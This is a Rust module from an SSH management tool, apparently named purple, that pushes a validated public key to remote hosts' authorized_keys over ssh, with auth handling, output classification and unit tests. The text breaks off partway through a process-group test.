Skip to main content

purple_ssh/
key_push.rs

1//! Push a public key onto a remote host's `~/.ssh/authorized_keys`.
2//!
3//! Equivalent of `ssh-copy-id` without the dependency: spawns a single
4//! ssh invocation per host, pipes the public key over stdin, and runs an
5//! idempotent shell snippet on the remote that creates `~/.ssh` if
6//! missing and appends the key only when it is not already present.
7//!
8//! The remote snippet never sees the pubkey via the shell command line
9//! (which would require fragile escaping). Stdin is the canonical channel
10//! for binary-ish content over SSH.
11
12use std::io::{Read, Write};
13use std::path::{Path, PathBuf};
14use std::process::{Command, Stdio};
15use std::sync::atomic::{AtomicBool, Ordering};
16use std::sync::{Arc, Mutex};
17
18use log::debug;
19
20use crate::snippet::ChildGuard;
21
22/// Outcome for one host in a push run. The renderer summarises these
23/// into a toast (when every entry is `Appended` / `AlreadyPresent`) or a
24/// sticky error block (when at least one is `Failed`). The two prompt
25/// variants leave the summary and open a dialog instead.
26#[derive(Debug, Clone, PartialEq, Eq)]
27pub enum KeyPushOutcome {
28    /// Pubkey was newly appended to the remote `authorized_keys`.
29    Appended,
30    /// Pubkey was already present in `authorized_keys`; nothing changed.
31    AlreadyPresent,
32    /// Push failed. Carries a scrubbed stderr excerpt (control chars
33    /// stripped, length-capped) so the user sees what went wrong without
34    /// leaking the full ssh-vvv firehose into the UI.
35    Failed(String),
36    /// ssh ended with `Permission denied` and the server takes no password.
37    /// Reported like `Failed`; kept apart so a missing security key PIN can
38    /// be told from a remote command that failed.
39    AuthRefused(String),
40    /// ssh ended with `Permission denied` and the server still takes a
41    /// password. The TUI asks for one and pushes again. `host` is the hop
42    /// ssh named as refusing, which on a ProxyJump chain may be a bastion
43    /// rather than the target.
44    NeedsPassword {
45        detail: String,
46        host: Option<String>,
47    },
48    /// Strict host key checking refused a host that is not in
49    /// `known_hosts` yet. The TUI asks whether to trust it and pushes again.
50    /// `host` is the one ssh named, a bastion included.
51    UnknownHostKey {
52        detail: String,
53        host: Option<String>,
54    },
55}
56
57/// Authentication inputs for one host, resolved on the main thread before
58/// the worker spawns. `trust_new_host_key` is set only by the retry that
59/// follows the trust dialog.
60#[derive(Clone, Default, PartialEq, Eq)]
61pub struct PushAuth {
62    pub askpass: Option<String>,
63    pub session_password: Option<String>,
64    pub bw_session: Option<String>,
65    pub trust_new_host_key: bool,
66    pub security_key: crate::security_key::SecurityKeyRun,
67    /// Where a security key refusal is recorded.
68    pub paths: Option<crate::runtime::env::Paths>,
69}
70
71// Hand-written so a stray `{:?}` can never print the password or the
72// Bitwarden token. Shows whether each is present, never its value.
73impl std::fmt::Debug for PushAuth {
74    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
75        f.debug_struct("PushAuth")
76            .field("askpass", &self.askpass)
77            .field("session_password", &self.session_password.is_some())
78            .field("bw_session", &self.bw_session.is_some())
79            .field("trust_new_host_key", &self.trust_new_host_key)
80            .field("security_key", &self.security_key)
81            .finish_non_exhaustive()
82    }
83}
84
85/// The ssh child currently running, shared between the push worker and the
86/// UI thread. Esc and q terminate it through here, so a cancel acts within
87/// the SIGTERM grace window instead of waiting for ssh to give up.
88#[derive(Clone, Default)]
89pub struct InflightChild(Arc<Mutex<Option<Arc<ChildGuard>>>>);
90
91impl InflightChild {
92    fn set(&self, guard: Arc<ChildGuard>) {
93        *self.0.lock().unwrap_or_else(|e| e.into_inner()) = Some(guard);
94    }
95
96    fn clear(&self) {
97        self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
98    }
99
100    /// Kill the running child, if any. A no-op between hosts.
101    pub fn terminate(&self) {
102        let guard = self.0.lock().unwrap_or_else(|e| e.into_inner()).take();
103        if let Some(g) = guard {
104            g.terminate();
105        }
106    }
107
108    #[cfg(test)]
109    pub(crate) fn is_set(&self) -> bool {
110        self.0.lock().unwrap_or_else(|e| e.into_inner()).is_some()
111    }
112}
113
114/// One row in the in-flight push result list. Populated as worker
115/// threads complete and surfaced to the UI via `AppEvent::KeyPushResult`.
116#[derive(Debug, Clone, PartialEq, Eq)]
117pub struct KeyPushResult {
118    pub alias: String,
119    pub outcome: KeyPushOutcome,
120}
121
122/// Reason recorded for a host the user aborted. Spelled once so the
123/// worker and the test that reads it cannot drift apart.
124const ABORTED: &str = "canceled";
125
126/// Maximum stderr length retained in `KeyPushOutcome::Failed`. Longer
127/// `ssh -v` output is truncated with an ellipsis so a single failure
128/// cannot blow out the sticky error overlay.
129const STDERR_BUDGET: usize = 200;
130
131/// Marker prefix written by the remote snippet on the final line of
132/// stdout. The prefix is unique enough that no realistic `.profile` or
133/// motd will collide. `classify_stdout` matches against this prefix so a
134/// shared-account host whose login banner echoes the word "APPENDED"
135/// cannot trick us into reporting success.
136const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
137const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
138const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
139
140/// Remote shell snippet that idempotently appends the pubkey to
141/// `~/.ssh/authorized_keys`. The pubkey arrives on stdin via `$(cat)` so
142/// no shell quoting of the key content is needed locally.
143///
144/// Permission policy: `~/.ssh` is chmod 700 only when we just created
145/// it (so a deliberately group-readable directory managed by Ansible or
146/// similar is left alone), and `authorized_keys` is chmod 600 only when
147/// the file is fresh. Both invariants are enforced via short-circuit:
148/// the absence test runs before the create, and the chmod runs only on
149/// the create branch. sshd's StrictModes requires the dir to be 700, so
150/// a wide-open dir we created is tightened immediately.
151///
152/// CRLF defence: $PUBKEY is normalised with `tr -d '\r'` before both the
153/// dedup match and the append, so a CRLF-terminated source file cannot
154/// produce a fresh duplicate per push. The file side already strips CR
155/// before matching so authorized_keys files edited with Windows tooling
156/// dedup correctly too.
157///
158/// The append uses `|| { ... exit 1; }` so a failed write (ENOSPC,
159/// read-only mount) emits APPEND_FAILED instead of silently claiming
160/// success on the redirect's exit code.
161///
162/// Output contract (always the last non-empty line of stdout):
163/// - `__PURPLE_KEY_PUSH:APPENDED__`        - key was newly written
164/// - `__PURPLE_KEY_PUSH:ALREADY_PRESENT__` - key was already in file
165/// - `__PURPLE_KEY_PUSH:APPEND_FAILED__`   - append redirect failed
166/// - anything else                          - classified as Failed
167const REMOTE_SNIPPET: &str = r#"umask 077
168if [ ! -d ~/.ssh ]; then
169  mkdir -p ~/.ssh
170  chmod 700 ~/.ssh
171fi
172if [ ! -f ~/.ssh/authorized_keys ]; then
173  touch ~/.ssh/authorized_keys
174  chmod 600 ~/.ssh/authorized_keys
175fi
176PUBKEY=$(cat | tr -d '\r')
177if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
178  echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
179  exit 0
180fi
181printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
182echo __PURPLE_KEY_PUSH:APPENDED__
183"#;
184
185/// Parse the remote snippet's stdout into an outcome. Pure helper so the
186/// worker and tests share the same classification. Match is against the
187/// last non-empty line (stripped of trailing CR) so motd or login-banner
188/// output before the marker is tolerated.
189pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
190    let trimmed = stdout.trim();
191    let last = trimmed
192        .lines()
193        .map(|l| l.trim_end_matches('\r').trim())
194        .rfind(|l| !l.is_empty())?;
195    match last {
196        MARKER_APPENDED => Some(KeyPushOutcome::Appended),
197        MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
198        MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
199            "remote append failed (disk full, read-only mount?)".to_string(),
200        )),
201        _ => None,
202    }
203}
204
205/// Scrub stderr for display in the UI. Drops ANSI escapes, control bytes,
206/// then caps at `STDERR_BUDGET` chars with an ellipsis. Joins multiple
207/// lines with a single space so the error sticky overlay can render the
208/// scrubbed text on one row.
209fn scrub_stderr(raw: &str) -> String {
210    let cleaned: String = raw
211        .chars()
212        .filter(|c| !c.is_control() || *c == '\n')
213        .collect();
214    let joined = cleaned
215        .lines()
216        .map(str::trim)
217        .filter(|l| !l.is_empty())
218        .collect::<Vec<_>>()
219        .join(" ");
220    if joined.chars().count() > STDERR_BUDGET {
221        joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
222    } else {
223        joined
224    }
225}
226
227/// Build the ssh command for one push. Pure, so tests can inspect argv and
228/// env without spawning anything.
229///
230/// The child never reaches the tty: strict host key checking turns an
231/// unknown host into an error (`accept-new` on the retry after the trust
232/// dialog) and `BatchMode=yes` turns a password prompt into `Permission
233/// denied` when neither a source nor a session password can answer it.
234pub(crate) fn build_push_command(alias: &str, config_path: &Path, auth: &PushAuth) -> Command {
235    let mut cmd = Command::new("ssh");
236    cmd.arg("-F")
237        .arg(config_path)
238        .arg("-T")
239        .arg("-o")
240        .arg("ConnectTimeout=10")
241        // ServerAliveInterval/CountMax bound the post-auth phase:
242        // ConnectTimeout only covers the TCP/handshake. Without these,
243        // a remote NFS-stalled `~/.ssh/authorized_keys` or a hung shell
244        // could block the wait indefinitely. 10s × 3 = 30s worst case
245        // after auth before SSH tears down the session.
246        .arg("-o")
247        .arg("ServerAliveInterval=10")
248        .arg("-o")
249        .arg("ServerAliveCountMax=3")
250        .arg("-o")
251        .arg("ControlMaster=no")
252        .arg("-o")
253        .arg("ControlPath=none");
254    let strict = if auth.trust_new_host_key {
255        "StrictHostKeyChecking=accept-new"
256    } else {
257        "StrictHostKeyChecking=yes"
258    };
259    cmd.arg("-o")
260        .arg(strict)
261        .arg("-o")
262        .arg(crate::askpass_env::SINGLE_PASSWORD_PROMPT_OPT);
263    if crate::askpass_env::needs_batch_mode(
264        auth.askpass.as_deref(),
265        auth.session_password.as_deref(),
266    ) {
267        cmd.arg("-o").arg(crate::askpass_env::BATCH_MODE_OPT);
268    }
269    cmd.arg("--")
270        .arg(alias)
271        .arg(REMOTE_SNIPPET)
272        .stdin(Stdio::piped())
273        .stdout(Stdio::piped())
274        .stderr(Stdio::piped());
275
276    crate::askpass_env::configure_auth(
277        &mut cmd,
278        alias,
279        config_path,
280        auth.askpass.as_deref(),
281        auth.session_password.as_deref(),
282        auth.bw_session.as_deref(),
283        true,
284    );
285    crate::security_key::configure(&mut cmd, &auth.security_key);
286
287    // Own process group: cancel and shutdown signal ssh together with any
288    // ProxyCommand it spawned. A Ctrl+C aimed at purple never reaches them.
289    #[cfg(unix)]
290    // SAFETY: pre_exec runs after fork, before exec in the child. setpgid(0, 0)
291    // is async-signal-safe (POSIX) and touches no Rust runtime state. The
292    // return value is ignored: a failed setpgid leaves ssh in purple's group,
293    // which still pushes.
294    unsafe {
295        use std::os::unix::process::CommandExt;
296        cmd.pre_exec(|| {
297            libc::setpgid(0, 0);
298            Ok(())
299        });
300    }
301    cmd
302}
303
304/// Push `pubkey` to the remote `alias` over SSH. Synchronous: spawns the
305/// command from `build_push_command`, pipes `pubkey` to stdin, waits for the
306/// child to finish and returns the parsed outcome. The cancel flag is
307/// observed before the spawn so a rapid Esc after launching the batch can
308/// short-circuit pending hosts. The running child is registered in
309/// `inflight` so the same Esc can kill it mid-connection.
310pub fn push_to_host(
311    pubkey: &str,
312    alias: &str,
313    config_path: &Path,
314    auth: &PushAuth,
315    cancel: &Arc<AtomicBool>,
316    inflight: &InflightChild,
317) -> KeyPushOutcome {
318    if cancel.load(Ordering::Relaxed) {
319        return KeyPushOutcome::Failed(ABORTED.to_string());
320    }
321
322    let mut cmd = build_push_command(alias, config_path, auth);
323
324    let mut child = match cmd.spawn() {
325        Ok(c) => c,
326        Err(e) => {
327            debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
328            return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
329        }
330    };
331
332    let stdin = child.stdin.take();
333    let stdout_pipe = child.stdout.take();
334    let stderr_pipe = child.stderr.take().map(|pipe| {
335        crate::security_key::RefusalScan::new(pipe, auth.paths.as_ref(), &auth.security_key)
336    });
337    let guard = Arc::new(ChildGuard::new(child));
338    inflight.set(Arc::clone(&guard));
339
340    // Pipe the pubkey with a trailing newline so `printf '%s\n' "$PUBKEY"`
341    // on the remote produces an exact `authorized_keys` line.
342    if let Some(mut stdin) = stdin {
343        let payload = if pubkey.ends_with('\n') {
344            pubkey.to_string()
345        } else {
346            format!("{}\n", pubkey)
347        };
348        if let Err(e) = stdin.write_all(payload.as_bytes()) {
349            debug!(
350                "[purple] key_push: stdin write failed alias={} err={}",
351                alias, e
352            );
353            guard.terminate();
354            inflight.clear();
355            return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
356        }
357        // Drop stdin so the remote `cat` receives EOF.
358        drop(stdin);
359    }
360
361    // Drain both pipes on their own threads so a chatty remote cannot block
362    // on a full pipe. The wait stays on this thread because it is what
363    // escalates a cancel to SIGKILL and sweeps the process group. Reading
364    // here instead would park this thread on a pipe that a `ProxyCommand`
365    // outliving ssh still holds open, and the escalation would never run.
366    let stdout_reader = std::thread::spawn(move || {
367        let mut buf = Vec::new();
368        if let Some(mut pipe) = stdout_pipe {
369            let _ = pipe.read_to_end(&mut buf);
370        }
371        buf
372    });
373    let stderr_reader = std::thread::spawn(move || {
374        let mut buf = Vec::new();
375        if let Some(mut pipe) = stderr_pipe {
376            let _ = pipe.read_to_end(&mut buf);
377        }
378        buf
379    });
380
381    let status = guard.wait();
382    inflight.clear();
383    let stdout_buf = stdout_reader.join().unwrap_or_default();
384    let stderr_buf = stderr_reader.join().unwrap_or_default();
385
386    let Some(status) = status else {
387        debug!("[purple] key_push: wait failed alias={}", alias);
388        return KeyPushOutcome::Failed("wait ssh: child already reaped".to_string());
389    };
390
391    if cancel.load(Ordering::Relaxed) {
392        debug!(
393            "[purple] key_push: cancel hit mid-connection alias={}",
394            alias
395        );
396        return KeyPushOutcome::Failed(ABORTED.to_string());
397    }
398
399    let stdout = String::from_utf8_lossy(&stdout_buf);
400    let stderr = String::from_utf8_lossy(&stderr_buf);
401
402    if !status.success() {
403        // Classify on the raw stderr: the scrubbed excerpt is capped and a
404        // long warning prefix could push the decisive line past the cap.
405        let filtered = crate::file_browser::filter_ssh_warnings(&stderr);
406        let scrubbed = scrub_stderr(&filtered);
407        let msg = if scrubbed.is_empty() {
408            format!("ssh exited {}", status)
409        } else {
410            scrubbed
411        };
412        if crate::connection::is_unknown_host_key(&stderr) {
413            let host = crate::connection::unknown_host_key_host(&stderr).map(str::to_string);
414            debug!(
415                "[purple] key_push: unknown host key alias={} host={:?} status={}",
416                alias, host, status
417            );
418            return KeyPushOutcome::UnknownHostKey { detail: msg, host };
419        }
420        if crate::connection::needs_password(&stderr) {
421            let host = crate::connection::denied_host(&stderr).map(str::to_string);
422            debug!(
423                "[purple] key_push: needs password alias={} refused_by={:?} status={}",
424                alias, host, status
425            );
426            return KeyPushOutcome::NeedsPassword { detail: msg, host };
427        }
428        if crate::connection::auth_refused(&stderr) {
429            debug!(
430                "[purple] key_push: authentication refused alias={} status={}",
431                alias, status
432            );
433            return KeyPushOutcome::AuthRefused(msg);
434        }
435        debug!(
436            "[purple] key_push: failed alias={} status={} stderr={}",
437            alias, status, msg
438        );
439        return KeyPushOutcome::Failed(msg);
440    }
441
442    match classify_stdout(&stdout) {
443        Some(outcome) => {
444            debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
445            outcome
446        }
447        None => {
448            let preview = scrub_stderr(&stdout);
449            KeyPushOutcome::Failed(format!(
450                "unexpected snippet output: {}",
451                if preview.is_empty() {
452                    "(empty)"
453                } else {
454                    &preview
455                }
456            ))
457        }
458    }
459}
460
461/// Maximum size of a `.pub` file we will accept. OpenSSH's RSA-8192 keys
462/// serialise to ~3 KiB; we cap at 16 KiB to leave headroom for comments
463/// and reject pathological inputs (symlinks to logs, /dev/urandom).
464pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
465
466/// Public-key type tokens we will push. Limited to the OpenSSH algorithms
467/// that produce valid `authorized_keys` entries. Cert tokens (e.g.
468/// `ssh-ed25519-cert-v01@openssh.com`) are intentionally excluded: pushing
469/// a certificate as a static key bypasses its TTL.
470const ALLOWED_KEY_TYPES: &[&str] = &[
471    "ssh-rsa",
472    "ssh-ed25519",
473    "ssh-dss",
474    "ecdsa-sha2-nistp256",
475    "ecdsa-sha2-nistp384",
476    "ecdsa-sha2-nistp521",
477    "sk-ssh-ed25519@openssh.com",
478    "sk-ecdsa-sha2-nistp256@openssh.com",
479];
480
481/// Validation outcome for a public-key file's contents.
482#[derive(Debug, Clone, PartialEq, Eq)]
483pub enum PubkeyValidationError {
484    Empty,
485    MultiLine,
486    UnsupportedType(String),
487    MalformedBase64,
488    TooLarge(u64),
489    NotARegularFile,
490}
491
492/// Parse and validate a `.pub` file's contents into a single canonical
493/// `authorized_keys` line. Rejects multi-line input (which would silently
494/// install several keys, including embedded `command=` clauses), unknown
495/// algorithms, and unparseable base64 bodies. The returned string is
496/// trimmed of trailing whitespace / CR so the remote `grep -qxF` dedup
497/// step matches byte-for-byte across pushes.
498pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
499    let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
500    if trimmed.is_empty() {
501        return Err(PubkeyValidationError::Empty);
502    }
503    if trimmed.lines().count() != 1 {
504        return Err(PubkeyValidationError::MultiLine);
505    }
506    let mut parts = trimmed.splitn(3, ' ');
507    let typ = parts.next().unwrap_or("");
508    let blob = parts.next().unwrap_or("");
509    if !ALLOWED_KEY_TYPES.contains(&typ) {
510        return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
511    }
512    if blob.is_empty() {
513        return Err(PubkeyValidationError::MalformedBase64);
514    }
515    use base64::Engine;
516    if base64::engine::general_purpose::STANDARD
517        .decode(blob.as_bytes())
518        .is_err()
519    {
520        return Err(PubkeyValidationError::MalformedBase64);
521    }
522    Ok(trimmed.to_string())
523}
524
525/// Read a `.pub` file with a hard byte cap and reject anything that is
526/// not a regular file. On Unix the open uses `O_NOFOLLOW` so a symlink at
527/// the .pub path errors out instead of silently dereferencing into a log
528/// file or `/dev/urandom`.
529pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
530    use std::io::Read;
531    let mut opts = std::fs::OpenOptions::new();
532    opts.read(true);
533    #[cfg(unix)]
534    {
535        use std::os::unix::fs::OpenOptionsExt;
536        opts.custom_flags(libc::O_NOFOLLOW);
537    }
538    let f = opts
539        .open(path)
540        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
541    let meta = f
542        .metadata()
543        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
544    if !meta.file_type().is_file() {
545        return Err(PubkeyValidationError::NotARegularFile);
546    }
547    if meta.len() > PUBKEY_MAX_BYTES {
548        return Err(PubkeyValidationError::TooLarge(meta.len()));
549    }
550    let mut buf = String::new();
551    f.take(PUBKEY_MAX_BYTES)
552        .read_to_string(&mut buf)
553        .map_err(|_| PubkeyValidationError::NotARegularFile)?;
554    Ok(buf)
555}
556
557/// Resolve the local public-key path for a key whose `display_path` is
558/// `~/.ssh/id_ed25519`. Expands the tilde and appends `.pub`. The caller
559/// is expected to validate the file exists before reading.
560pub fn pubkey_path_for(paths: Option<&crate::runtime::env::Paths>, display_path: &str) -> PathBuf {
561    let with_pub = format!("{}.pub", display_path);
562    if let Some(rest) = with_pub.strip_prefix("~/")
563        && let Some(p) = paths
564    {
565        return p.home().join(rest);
566    }
567    PathBuf::from(with_pub)
568}
569
570#[cfg(test)]
571mod tests {
572    use super::*;
573
574    #[test]
575    fn classify_stdout_appended() {
576        assert_eq!(
577            classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
578            Some(KeyPushOutcome::Appended)
579        );
580    }
581
582    #[test]
583    fn classify_stdout_already_present() {
584        assert_eq!(
585            classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
586            Some(KeyPushOutcome::AlreadyPresent)
587        );
588    }
589
590    #[test]
591    fn classify_stdout_append_failed() {
592        match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
593            Some(KeyPushOutcome::Failed(_)) => {}
594            other => panic!("expected Failed, got {:?}", other),
595        }
596    }
597
598    #[test]
599    fn classify_stdout_motd_then_marker() {
600        // SSH-of-the-day banners or `.profile` output may print before
601        // our marker. Last non-empty line still wins.
602        let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
603        assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
604    }
605
606    #[test]
607    fn classify_stdout_motd_word_collision_does_not_match() {
608        // Adversarial: a banner that contains the bare word "APPENDED"
609        // must NOT be classified as success. The namespaced marker
610        // prevents collision.
611        let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
612        assert_eq!(classify_stdout(stdout), None);
613    }
614
615    #[test]
616    fn classify_stdout_crlf_line_endings() {
617        // Some shells emit CRLF over SSH ptys. The classifier strips the
618        // trailing CR so the marker still matches.
619        let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
620        assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
621    }
622
623    #[test]
624    fn classify_stdout_unknown_returns_none() {
625        assert_eq!(classify_stdout("hello\nworld\n"), None);
626    }
627
628    #[test]
629    fn classify_stdout_empty_returns_none() {
630        assert_eq!(classify_stdout(""), None);
631        assert_eq!(classify_stdout("\n\n"), None);
632    }
633
634    #[test]
635    fn scrub_stderr_drops_control_bytes() {
636        // ANSI-stripped: ESC[31mError\x1b[0m
637        let raw = "\x1b[31mError: connection refused\x1b[0m\n";
638        let scrubbed = scrub_stderr(raw);
639        assert!(!scrubbed.contains('\x1b'));
640        assert!(scrubbed.contains("Error"));
641    }
642
643    #[test]
644    fn scrub_stderr_joins_lines() {
645        let raw = "line1\nline2\nline3\n";
646        assert_eq!(scrub_stderr(raw), "line1 line2 line3");
647    }
648
649    #[test]
650    fn scrub_stderr_truncates_long_input() {
651        let raw = "x".repeat(STDERR_BUDGET * 2);
652        let scrubbed = scrub_stderr(&raw);
653        assert!(scrubbed.ends_with("..."));
654        assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
655    }
656
657    #[test]
658    fn scrub_stderr_empty_input() {
659        assert_eq!(scrub_stderr(""), "");
660        assert_eq!(scrub_stderr("   \n\n  \n"), "");
661    }
662
663    #[test]
664    fn pubkey_path_appends_pub_suffix() {
665        let p = pubkey_path_for(None, "/tmp/id_ed25519");
666        assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
667    }
668
669    #[test]
670    fn pubkey_path_expands_tilde() {
671        let paths = crate::runtime::env::Paths::new("/home/u");
672        let p = pubkey_path_for(Some(&paths), "~/.ssh/id_ed25519");
673        assert!(!p.to_string_lossy().starts_with('~'));
674        assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
675    }
676
677    #[test]
678    fn push_to_host_short_circuits_when_cancel_is_set() {
679        // Cancel before spawn must return the abort reason without
680        // touching ssh. We point at a path that does not exist on disk
681        // so a buggy implementation that DID try to spawn would fail
682        // loudly instead of silently succeeding.
683        let cancel = Arc::new(AtomicBool::new(true));
684        let inflight = InflightChild::default();
685        let outcome = push_to_host(
686            "ssh-ed25519 AAAA test@host",
687            "this-alias-does-not-exist",
688            std::path::Path::new("/tmp/purple-nonexistent-config"),
689            &PushAuth::default(),
690            &cancel,
691            &inflight,
692        );
693        match outcome {
694            KeyPushOutcome::Failed(msg) => {
695                assert!(
696                    msg.contains("cancel"),
697                    "expected cancel message, got: {}",
698                    msg
699                );
700            }
701            other => panic!("expected Failed(cancelled), got {:?}", other),
702        }
703        assert!(!inflight.is_set(), "no child was spawned");
704    }
705
706    #[test]
707    fn push_to_host_against_missing_config_fails_and_clears_inflight() {
708        // A real spawn against a config path that does not exist: ssh
709        // exits at once with a non-zero status. The inflight slot must be
710        // empty afterwards so a later cancel never signals a reaped PID.
711        let cancel = Arc::new(AtomicBool::new(false));
712        let inflight = InflightChild::default();
713        let outcome = push_to_host(
714            "ssh-ed25519 AAAA test@host",
715            "this-alias-does-not-exist",
716            std::path::Path::new("/tmp/purple-nonexistent-config"),
717            &PushAuth::default(),
718            &cancel,
719            &inflight,
720        );
721        assert!(
722            matches!(outcome, KeyPushOutcome::Failed(_)),
723            "got {outcome:?}"
724        );
725        assert!(!inflight.is_set());
726    }
727
728    #[test]
729    fn inflight_terminate_kills_a_running_child() {
730        // A `sleep` in its own process group stands in for a stuck ssh.
731        let mut cmd = Command::new("sleep");
732        cmd.arg("30");
733        #[cfg(unix)]
734        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
735        // no Rust runtime state.
736        unsafe {
737            use std::os::unix::process::CommandExt;
738            cmd.pre_exec(|| {
739                libc::setpgid(0, 0);
740                Ok(())
741            });
742        }
743        let child = cmd.spawn().expect("spawn sleep");
744        let guard = Arc::new(ChildGuard::new(child));
745        let inflight = InflightChild::default();
746        inflight.set(Arc::clone(&guard));
747        assert!(inflight.is_set());
748        let started = std::time::Instant::now();
749        inflight.terminate();
750        // Esc and quit both call this from the UI thread, so it signals and
751        // returns rather than standing through the grace window.
752        assert!(
753            started.elapsed() < std::time::Duration::from_millis(100),
754            "terminate held the caller for {:?}",
755            started.elapsed()
756        );
757        assert!(!inflight.is_set());
758        // The owner's wait returns promptly with the signal status.
759        let status = guard.wait();
760        assert!(started.elapsed() < std::time::Duration::from_secs(5));
761        assert!(status.is_some_and(|s| !s.success()));
762    }
763
764    #[cfg(unix)]
765    #[test]
766    fn a_child_that_ignores_sigterm_is_killed_by_the_waiting_thread() {
767        // terminate only signals now, so the escalation has to come from
768        // whichever thread is in wait. A shell that traps SIGTERM proves it.
769        // The shell ignores SIGTERM and outlives the `sleep` children that
770        // do take it, so only SIGKILL ends this process group.
771        let mut cmd = Command::new("sh");
772        cmd.arg("-c")
773            .arg("trap '' TERM; while :; do sleep 0.05; done");
774        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
775        // no Rust runtime state.
776        unsafe {
777            use std::os::unix::process::CommandExt;
778            cmd.pre_exec(|| {
779                libc::setpgid(0, 0);
780                Ok(())
781            });
782        }
783        let child = cmd.spawn().expect("spawn sh");
784        let guard = Arc::new(ChildGuard::new(child));
785        // Let the shell reach its `trap` first. Signaled before that, it
786        // dies on SIGTERM like any other process and proves nothing.
787        std::thread::sleep(std::time::Duration::from_millis(300));
788        // The waiter reports through a channel rather than a join, so a
789        // broken escalation fails this test instead of hanging the suite.
790        let (tx, rx) = std::sync::mpsc::channel();
791        {
792            let guard = Arc::clone(&guard);
793            std::thread::spawn(move || {
794                let _ = tx.send(guard.wait());
795            });
796        }
797        let started = std::time::Instant::now();
798        guard.terminate();
799        assert!(
800            started.elapsed() < std::time::Duration::from_millis(100),
801            "terminate held the caller for {:?}",
802            started.elapsed()
803        );
804        let status = rx
805            .recv_timeout(std::time::Duration::from_secs(5))
806            .expect("the waiting thread must escalate to SIGKILL");
807        use std::os::unix::process::ExitStatusExt;
808        assert_eq!(
809            status.and_then(|s| s.signal()),
810            Some(libc::SIGKILL),
811            "SIGTERM was ignored, so only SIGKILL can have ended it"
812        );
813    }
814
815    #[test]
816    #[cfg(unix)]
817    fn a_stopped_run_sweeps_a_process_left_holding_the_pipe() {
818        // ssh dies on SIGTERM long before a ProxyCommand it spawned has to,
819        // and that command inherits ssh's stderr. Here the outer shell is
820        // the one that dies and the inner one holds the pipe, so the reader
821        // reaches EOF only once the group itself is swept. The inner shell
822        // gives up on its own after ten seconds, so a regression leaves no
823        // process behind.
824        let mut cmd = Command::new("sh");
825        cmd.arg("-c")
826            .arg(
827                "sh -c \"trap '' TERM; i=0; while [ \\$i -lt 200 ]; do sleep 0.05; i=\\$((i+1)); done\" & exec sleep 30",
828            )
829            .stdout(Stdio::piped())
830            .stderr(Stdio::piped());
831        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
832        // no Rust runtime state.
833        unsafe {
834            use std::os::unix::process::CommandExt;
835            cmd.pre_exec(|| {
836                libc::setpgid(0, 0);
837                Ok(())
838            });
839        }
840        let mut child = cmd.spawn().expect("spawn sh");
841        let stderr_pipe = child.stderr.take();
842        let guard = Arc::new(ChildGuard::new(child));
843        // Let the inner shell reach its trap before anything is signaled.
844        std::thread::sleep(std::time::Duration::from_millis(300));
845
846        // The reader reports through a channel so a regression fails this
847        // test instead of hanging the suite.
848        let (tx, rx) = std::sync::mpsc::channel();
849        std::thread::spawn(move || {
850            let mut buf = Vec::new();
851            if let Some(mut pipe) = stderr_pipe {
852                let _ = pipe.read_to_end(&mut buf);
853            }
854            let _ = tx.send(());
855        });
856
857        guard.terminate();
858        assert!(guard.wait().is_some(), "the child itself is reaped");
859        rx.recv_timeout(std::time::Duration::from_secs(5))
860            .expect("the reader must reach EOF once the group is swept");
861    }
862
863    #[test]
864    #[cfg(unix)]
865    fn a_run_that_ends_on_its_own_sweeps_the_group_too() {
866        // ssh can exit cleanly while something it spawned keeps the
867        // inherited stderr open, and no cancel ever arrives. The reader
868        // reaches EOF only because the sweep runs on every reap. The inner
869        // shell gives up on its own after ten seconds, so a regression
870        // leaves no process behind.
871        let mut cmd = Command::new("sh");
872        cmd.arg("-c")
873            .arg("sh -c \"i=0; while [ \\$i -lt 200 ]; do sleep 0.05; i=\\$((i+1)); done\" & exec true")
874            .stdout(Stdio::piped())
875            .stderr(Stdio::piped());
876        // SAFETY: setpgid(0, 0) is async-signal-safe and the closure touches
877        // no Rust runtime state.
878        unsafe {
879            use std::os::unix::process::CommandExt;
880            cmd.pre_exec(|| {
881                libc::setpgid(0, 0);
882                Ok(())
883            });
884        }
